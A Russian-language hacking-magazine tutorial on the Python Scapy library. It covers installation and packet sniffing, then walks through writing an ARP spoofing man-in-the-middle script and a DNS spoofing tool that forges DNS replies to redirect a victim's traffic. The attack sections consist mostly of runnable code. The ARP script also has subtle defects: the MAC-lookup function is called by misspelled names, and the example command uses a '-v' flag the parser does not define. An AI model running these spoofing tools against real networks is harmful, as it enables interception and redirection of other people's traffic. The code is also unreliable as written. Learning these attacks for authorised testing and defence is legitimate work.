Дос­таточ­но дол­гое вре­мя написа­ние инс­тру­мен­тов для пен­теста компь­ютер­ных сетей счи­талось заняти­ем очень неп­ростым. Но все изме­нилось с появ­лени­ем биб­лиоте­ки Scapy для язы­ка Python. С помощью этой связ­ки мож­но удов­летво­рить любую пот­ребность — от соз­дания прос­то скрип­та, отсы­лающе­го нес­коль­ко задан­ных пакетов в сеть, до написа­ния собс­твен­ного сни­фера. Мало того, это не толь­ко прос­то, но и инте­рес­но. Об этом мы сегод­ня и погово­рим и даже соз­дадим свои инс­тру­мен­ты для ARP- и DNS-спу­фин­га.

warning

Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Ни редак­ция, ни автор не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный матери­ала­ми дан­ной статьи.

 

Вступительное слово

Доб­рого вре­мени суток, дорогой Username, сегод­ня хотелось бы тебе рас­ска­зать об одной мощ­ней­шей биб­лиоте­ке для язы­ка питон, которая так­же позици­они­рует­ся как фрей­мворк. Имя ей Scapy. Дан­ный инс­тру­мент пре­дос­тавля­ет нам прос­то огромные воз­можнос­ти по работе с сетевы­ми тех­нологи­ями. Нап­ример, он может собирать пакеты с пос­леду­ющей отправ­кой их в сеть, зах­ватывать пакеты, а так­же читать их из сох­ранен­ного ранее дам­па, иссле­довать сети и мно­гое дру­гое. Все перечис­ленное мож­но делать «в пря­мом эфи­ре» (то есть из кон­соли питона) или же пос­редс­твом написа­ния скрип­тов. Раз­работ­ка дан­ной ути­литы изна­чаль­но велась под UNIX-подоб­ные сис­темы, одна­ко запус­тить ее воз­можно и на опе­раци­онных сис­темах семей­ства Windows. Так­же она неп­лохо вза­имо­дей­ству­ет с дру­гими биб­лиоте­ками язы­ка питон. Нап­ример, gnuplot поможет нам в пос­тро­ении гра­фиков, визу­али­зируя работу инс­тру­мен­та, — что немало­важ­но, ведь гра­фичес­кого интерфей­са Scapy не име­ет.

www

Всю тех­ничес­кую докумен­тацию по исполь­зованию Scapy мож­но най­ти на офи­циаль­ном сай­те про­екта

 

Установка модуля Scapy

Ну что ж, прис­тупим. Начать, я думаю, сто­ит с опи­сания уста­нов­ки дан­ной ути­литы. Для ее работы нам пот­ребу­ется уста­нов­ленный Python 2.6+, а так­же допол­нитель­ные биб­лиоте­ки вро­де pylibpcap. Если уста­нов­ка про­изво­дит­ся на Linux и он осно­ван на Debian, то уста­нов­ка сво­дит­ся к одной коман­де apt-get install python-scapy. Если же сис­тема осно­вана на чем‑либо дру­гом, то поможет сле­дующая оче­ред­ность команд:

wget scapy.net
unzip scapy-***.zip
cd scapy-2.*
python setup.py install

Вмес­то пер­вой коман­ды так­же мож­но прос­то перей­ти по ссыл­ке scapy.net, и тебе сра­зу пред­ложат для заг­рузки самую све­жую вер­сию Scapy. Хочет­ся так­же отме­тить, что пос­леднюю коман­ду, запус­кающую уста­нов­ку, сто­ит выпол­нять от име­ни супер­поль­зовате­ля, так как дан­ная ути­лита работа­ет на прик­ладном уров­не и тре­бует дос­таточ­но боль­ших при­виле­гий.

Ну что же, с уста­нов­кой на Linux мы разоб­рались, но как же быть обла­дате­лям осталь­ных ОС? Нач­нем, пожалуй, с обла­дате­лей тех­ники, про­изве­ден­ной одной яблочной ком­пани­ей. Для уста­нов­ки на ОС дан­ного семей­ства нам при­дет­ся воору­жить­ся буб­ном. Пер­вым делом уста­новим MacPorts. Это дос­таточ­но мощ­ная ути­лита, которая дает воз­можность уста­нов­ки соф­та, пор­тирован­ного с Linux. Очень под­робную инс­трук­цию по ее уста­нов­ке мож­но най­ти на офи­циаль­ном сай­те про­екта. Далее есть два пути раз­вития событий. Пер­вый пре­дус­матри­вает соз­дание сво­его велоси­педа (что мало прив­лека­ет), а во вто­ром мы вос­поль­зуем­ся скрип­том, уже написан­ным за нас замеча­тель­ным челове­ком с ником 0x90 (при­вет, HardWare Village!). Най­ти его мож­но в репози­тории на гит­хабе. За скрипт авто­ру огромное спа­сибо. Все, что нам необ­ходимо сде­лать далее, — ско­пиро­вать скрипт, выпол­нить его от име­ни поль­зовате­ля root и дож­дать­ся отче­та об успешной уста­нов­ке. В моем слу­чае исполь­зовалась OS Х 10.10 — полет нор­маль­ный :).

Ос­талось у нас еще одно семей­ство ОС, которым, к сожале­нию, поль­зуют­ся очень мно­гие, — Windows. Для уста­нов­ки нам необ­ходимо перей­ти на сайт раз­работ­чика и ска­чать пос­леднюю вер­сию Scapy, далее рас­паковать ее и в коман­дной стро­ке выпол­нить сле­дующую коман­ду:

python setup.py install

Пос­ле окон­чания уста­нов­ки, что­бы про­верить работос­пособ­ность мы запус­каем интер­пре­татор питона и пишем коман­ду import scapy. Стан­дар­тное окно Scapy, пред­лага­ющее начать ввод, пред­став­лено на рис. 1.

info

По­шаго­вый про­цесс уста­нов­ки Scapy под Windows мож­но изу­чить по сле­дующе­му ви­део.

Рис. 1. Окно приветствия Scapy
Рис. 1. Окно при­ветс­твия Scapy

Как ты видишь, при отсутс­твии каких‑либо биб­лиотек Scapy сра­зу же пре­дуп­редит нас. На этом пер­вый шаг укро­щения змеи окон­чен, пора прис­тупать к изу­чению самой ути­литы.

 

Первое знакомство со Scapy

Для начала пред­лагаю озна­комить­ся с основным фун­кци­она­лом это­го чудо‑ком­бай­на. Одной из самых важ­ных для нович­ка фун­кций по пра­ву мож­но счи­тать ls(). Выпол­нив ее, мы уви­дим спи­сок из более чем трех­сот про­токо­лов, под­держи­ваемых этой ути­литой. Выг­лядит это при­мер­но так, как изоб­ражено на рис. 2.

Рис. 2. Список поддерживаемых Scapy протоколов
Рис. 2. Спи­сок под­держи­ваемых Scapy про­токо­лов

Од­нако так будет лишь в том слу­чае, если фун­кцию ls выпол­нить без парамет­ров, а вот если в качес­тве парамет­ра ука­зать имя какого‑либо про­токо­ла, то мы получим деталь­ную информа­цию о его струк­туре (см. рис. 3).

Рис. 3. Детальное строение пакета
Рис. 3. Деталь­ное стро­ение пакета

Обыч­но наиболь­ший инте­рес пред­став­ляет спи­сок всех полей, которые мож­но изме­нить в про­цес­се соз­дания пакетов. Основной фун­кци­онал инс­тру­мен­та мож­но пос­мотреть коман­дой lsc() — она выведет все име­ющиеся в арсе­нале фун­кции, но нам ведь это­го мало, вер­но? Хотелось бы пос­мотреть ману­ал по фун­кци­ям, и в этом нам поможет коман­да help(), парамет­ром которой мож­но ука­зать что‑нибудь из получен­ного спис­ка. Возь­мем, нап­ример, help(sniff) — она выдаст нам под­робную информа­цию по фун­кции sniff (см. рис. 4):

Рис. 4. Справка по функции sniff
Рис. 4. Справ­ка по фун­кции sniff

Ну а теперь поп­робу­ем написать самый прос­той скрипт:

from scapy.all import *
a=sniff(count=10)
a.nsummary()

Чис­ло count озна­чает количес­тво пакетов, которые мы будем слу­шать в эфи­ре до окон­чания прог­раммы. В нашем слу­чае это десять, но этот параметр не явля­ется обя­затель­ным, и если его не ука­зать, то сни­фер будет работать до получе­ния завет­ной ком­бинации ctrl + c. Метод nsummary(), в свою оче­редь, выводит дос­таточ­но под­робную ста­тис­тику о зах­вачен­ном тра­фике. Я запус­кал получив­ший­ся скрипт с вклю­чен­ным Wi-Fi и вот что получил на выходе:

0003 RadioTap / 802.11 Management 8L c8:64:c7:37:48:fd > ff:ff:ff:ff:ff:ff / Dot11Beacon / SSID='byfly WIFI' / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt

Мы видим наш эфир, какие сети ловят­ся, MAC-адре­са, а так­же SSID. В дан­ном слу­чае мы пой­мали Beacon-пакет от Wi-Fi-сети, имя которой byfly WIFI, а MAC-адрес веща­ющей точ­ки — c8:64:c7:37:48:fd, тип вещания 802.11 Management. А теперь добавим в наш скрипт фун­кцию wrpcap(), которая, как мож­но догадать­ся, дает нам воз­можность записать зах­вачен­ный тра­фик в файл.

wrpcap("our_dump.pcap",a)

Файл с име­нем our_dump.pcap соз­дас­тся в дирек­тории с нашим скрип­том, если не ука­зан пол­ный путь. Поз­же его мож­но будет про­ана­лизи­ровать мощ­ным инс­тру­мен­том под наз­вани­ем Wireshark, который мож­но запус­тить пря­мо из скрип­та коман­дой wireshark(). Кста­ти говоря, про Wireshark есть дос­таточ­но кру­тая статья на хаб­ре. Нас­тоятель­но рекомен­дую озна­комить­ся.

 

ARP spoofing c помощью ScaPy

Все это, конеч­но, инте­рес­но, но давай уже рас­смот­рим реаль­ное при­мене­ние это­го инс­тру­мен­та. Для при­мера я выб­рал одну из моих любимых атак — ARP poisoning, так­же извес­тную под наз­вани­ем ARP spoofing. Перед тем как прис­тупить к реали­зации, хотелось бы рас­ска­зать нем­ного о самой ата­ке. На каж­дой машине в сети име­ется такая вещь, как ARP-таб­лица, — она хра­нит соот­ношения IP-адре­сов машин в сети с их MAC-адре­сами. Суть ата­ки зак­люча­ется в сле­дующем: ког­да ата­куемая машина посыла­ет зап­рос на поиск роуте­ра в сети, дабы отос­лать какую‑либо информа­цию, мы посыла­ем ей лож­ный пакет с дан­ными, в которых говорит­ся «мы и есть роутер», и весь тра­фик, который дол­жен был идти нап­рямую в Сеть, идет туда, но уже через нас, то есть такой вари­ант реали­зации клас­сичес­кой MITM-ата­ки.

Intercepter-NG

Счи­таю прос­то необ­ходимым отме­тить один инс­тру­мент, где ARP spoofing ата­ка реали­зова­на на высочай­шем уров­не, — Intercepter-NG, не раз упо­минав­ший­ся на стра­ницах жур­нала. Пос­мотреть под­робный гайд, а так­же ска­чать сам инс­тру­мент мож­но на офи­циаль­ном сай­те.

Ре­али­зовы­вать ата­ку, как ты понял, мы будем на язы­ке Python с исполь­зовани­ем биб­лиоте­ки Scapy. Для прос­тоты я буду при­водить час­ти прог­рам­мно­го кода, а потом раз­бирать их. Пер­вой частью, конеч­но же, будет

#!/usr/bin/python
from scapy.all import *
import argparse
import signal
import sys
import logging
import time

В дан­ной час­ти, я думаю, никаких воп­росов быть не дол­жно, мы прос­то под­клю­чаем биб­лиоте­ки вро­де Scapy, сис­темной и так далее.

def originalMAC(ip):
ans,unans = srp(ARP(pdst=ip), timeout=5, retry=3)
for s,r in ans:
return r[Ether].src

Фун­кция originalMAC воз­вра­щает нам MAC-адрес для ука­зан­ного IP-адре­са.

def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--targetIP", help="Введите IP-адрес цели, напрмер: -t 192.168.1.5")
parser.add_argument("-r", "--routerIP", help="Введите IP-адрес роутера, напрмер: -r 192.168.1.1")
return parser.parse_args()

Ну а эта фун­кция, как мож­но догадать­ся из наз­вания, будет пар­сить аргу­мен­ты из стро­ки, ког­да мы будем вызывать нашу прог­рамму. У нас будет два аргу­мен­та: targetIP и routerIP. В них, соот­ветс­твен­но, будут находить­ся адре­са для будущей ата­ки. Для их задания при вызове нашего скрип­та будут исполь­зовать­ся клю­чи -t и -r соот­ветс­твен­но.

def poison(routerIP, targetIP, routerMAC, targetMAC):
send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst=targetMAC))
send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst=routerMAC))

А вот и сама фун­кция «зараже­ния». Ее аргу­мен­тами будут IP- и MAC-адре­са нашего роуте­ра и «машины‑жер­твы». В фун­кции мы посыла­ем два ARP-пакета, в которых ука­зыва­ем необ­ходимые адре­са. О стро­ении это­го пакета мож­но под­робнее узнать, исполь­зуя коман­ду lsc(arp).

def restore(routerIP, targetIP, routerMAC, targetMAC):
send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetMAC), count=3)
send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
sys.exit("Закрытие…")

restore пол­ностью ана­логич­на фун­кции poison, одна­ко выпол­няет обратную роль — она воз­вра­щает все наши MAC-адре­са в ARP-таб­лице на пра­виль­ные, про­ще говоря «обез­заражи­вает».

def main(args):
if os.geteuid() != 0:
sys.exit("[!] Пожалуйста, запустите с правами root-пользователя")
routerIP = args.routerIP
targetIP = args.targetIP
routerMAC = OrigialMac(args.routerIP)
targetMAC = OriginalMac(args.targetIP)
if routerMAC == None:
sys.exit("Не найден мак-адрес роутера. Закрытие...")
if targetMAC == None:
sys.exit("Не найден мак-адрес цели. Закрытие...")
with open('/proc/sys/net/ipv4/ip_forward', 'w') as ipf:
ipf.write('1\n')
def signal_handler(signal, frame):
with open('/proc/sys/net/ipv4/ip_forward', 'w') as ipf:
ipf.write('0\n')
restore(routerIP, targetIP, routerMAC, targetMAC)
signal.signal(signal.SIGINT, signal_handler)
while 1:
poison(routerIP, targetIP, routerMAC, targetMAC)
time.sleep(1.5)
main(parse_args())

Ну и пос­ледняя часть нашей прог­раммы — фун­кция main(), вызыва­ется она, как ты успел заметить, с парамет­рами, пар­синг которых мы опи­сали нем­ного ранее. Пер­вым делом про­веря­ем, от какого поль­зовате­ля запущен наш скрипт. Как я уже говорил, нуж­ны мак­сималь­ные при­виле­гии, так как работать при­ходит­ся на низ­косете­вом уров­не. Далее мы находим MAC-адре­са нашей цели и роуте­ра и, если все в поряд­ке, запус­каем зараже­ние. Заражен­ные пакеты мы шлем в сеть каж­дые пол­торы секун­ды, что­бы цель не находи­ла нас­тоящий роутер. Запуск нашего скрип­та будет про­изво­дить­ся сле­дующим обра­зом:

python arpspoof.py -v 192.168.1.2 -r 192.168.1.1

Ре­зуль­тат его работы мож­но пос­мотреть на рис. 5. Итак, ата­ка в самом раз­гаре, оста­ется толь­ко запус­тить сни­фер.

Рис. 5. Результат выполнения нашего скрипта для ARP spoofing’а
Рис. 5. Резуль­тат выпол­нения нашего скрип­та для ARP spoofing’а
 

DNS spoofing

Ну а теперь поп­робу­ем занять­ся чем‑нибудь более слож­ным. Нап­ример... DNS-спу­фин­гом. Суть дан­ной ата­ки сос­тоит в том, что мы ата­куем DNS-кеш, в котором хра­нит­ся соот­ветс­твие меж­ду име­нами сай­тов и их реаль­ными IP-адре­сами, и под­меня­ем адрес какого‑либо сер­виса на свой. В резуль­тате все зап­росы, иду­щие на этот сер­вис, будут при­ходить ата­кующе­му. В этот раз я не ста­ну опи­сывать совер­шенно понят­ные час­ти вро­де импорта биб­лиотек, а возь­мем лишь самое вкус­ное. Хочу заметить, что скрипт я писал под Linux, и если тебе, username, захочет­ся его про­тес­тировать на дру­гой ОС, при­дет­ся нем­ного попотеть самому. Собс­твен­но, об этом и сооб­щает фун­кция osCheck(), про­веря­ющая тип исполь­зуемой ОС.

def osCheck():
if ( uname()[0].strip() == 'Linux' ) or ( uname()[0].strip() == 'linux ') :
print(' Отлично, ты используешь Linux, начнем')
else:
print(' Ваша ОС отлична от Linux… Выход… ')
print(' Этот скрипт написан для ОС linux ')
exit(0)

Да­лее перей­дем к фун­кции main(). Пер­вым делом нам необ­ходимо пой­мать DNS-пакет (зап­рос к DNS-сер­веру), на питоне это будет выг­лядеть при­мер­но так:

print(' Снифинг DNS-пакета... ')
getDNSPacket = sniff(iface=argv[1], filter="dst port 53", count=1)

Пос­ле поим­ки необ­ходимо про­верить, дей­стви­тель­но ли это DNS-пакет. Затем убе­дить­ся, что это DNS-зап­рос (getDNSPacket[0].haslayer(DNS)), а не DNS-ответ (getDNSPacket[0].getlayer(DNS).qr == 0) и что в нем зап­рашива­ется адрес какого‑либо одно­го домена ((getDNSPacket[0].getlayer(DNS).qd.qtype == 1) and (getDNSPacket[0].getlayer(DNS).qd.qclass== 1)), а не чего‑то еще. Для наг­ляднос­ти мы выведем сооб­щение о поим­ке и пос­тавим вре­мя поим­ки, соб­ранное воеди­но усло­вие будет выг­лядеть так:

if ( getDNSPacket[0].haslayer(DNS) ) and ( getDNSPacket[0].getlayer(DNS).qr == 0 ) and ( getDNSPacket[0].getlayer(DNS).qd.qtype == 1 ) and ( getDNSPacket[0].getlayer(DNS).qd.qclass== 1 ):
print('\n Запрос получен в %s ' %ctime())

Да­лее мы раз­бира­ем получен­ный пакет на сос­тавля­ющие час­ти и запоми­наем их. Если взгля­нуть на прог­рам­мный код, выг­лядеть это будет так:

clientSrcIP = getDNSPacket[0].getlayer(IP).src
if getDNSPacket[0].haslayer(UDP) :
clientSrcPort = getDNSPacket[0].getlayer(UDP).sport
elif getDNSPacket[0].haslayer(TCP) :
clientSrcPort = getDNSPacket[0].getlayer(TCP).sport
clientDNSQueryID = getDNSPacket[0].getlayer(DNS).id
...
print(' IP отправителя:%s, \n порт отправления %d \n ID запроса:%d \n содержимое запроса:%d \n текущий DNS-сервер:%s \n Запрос:%s ' %(clientSrcIP,clientSrcPort,clientDNSQueryID,clientDNSQueryDataCount,clientDNSServer,clientDNSQuery))

Ну и наконец соз­даем под­дель­ный пакет с помощью сле­дующе­го кода:

DNS(id=clientDNSQueryID,qr=1,opcode=getDNSPacket[0].getlayer(DNS).opcode,aa=1,rd=0,ra=0,z=0,rcode=0,qdcount=clientDNSQueryDataCount,ancount=1,nscount=1,arcount=1,qd=DNSQR(qname=clientDNSQuery,qtype=getDNSPacket[0].getlayer(DNS).qd.qtype,qclass=getDNSPacket[0].getlayer(DNS).qd.qclass),an=DNSRR(rrname=clientDNSQuery,rdata=argv[2].strip(),ttl=86400),ns=DNSRR(rrname=clientDNSQuery,type=2,ttl=86400,rdata=argv[2]),ar=DNSRR(rrname=clientDNSQuery,rdata=argv[2].strip()))

Это и есть тот самый Packet Crafting в дей­ствии. На самом деле это толь­ко выг­лядит страш­но, а сос­тавля­ется дос­таточ­но прос­то. Сто­ит лишь взгля­нуть на струк­туру пакета (пом­нишь, я рас­ска­зывал, как это сде­лать, в начале статьи) и под­ста­вить получен­ные из зап­роса дан­ные, далее мы прос­то отсы­лаем этот пакет и дела­ем все опи­сан­ные выше дей­ствия по кру­гу. Выпол­нение скрип­та мож­но уви­деть на рис. 6.

Рис. 6. Результат выполнения нашего скрипта DNS spoofing
Рис. 6. Резуль­тат выпол­нения нашего скрип­та DNS spoofing
 

В заключение

Ну что же, дорогой username, вот мы и рас­смот­рели азы Scapy. Наде­юсь, тебе пон­равилось. Под­водя итог, хотелось бы еще раз напом­нить, что это очень мощ­ный и кру­той инс­тру­мент для пос­тро­ения пакетов, их отло­ва, а так­же работы с сетью на любом уров­не. Я счи­таю, что любой человек, увле­кающий­ся ИБ, прос­то обя­зан озна­комить­ся с ним. Ах да, чуть не забыл, пол­ные вер­сии скрип­тов ты, как обыч­но, можешь най­ти на dvd.xakep.ru или заб­рать с моего бло­га. Наде­юсь, ско­ро сно­ва уви­дим­ся. И да, если у тебя воз­никнут воп­росы, пиши: Andrey@dyatlov.in. Good luck!

www

Оставить мнение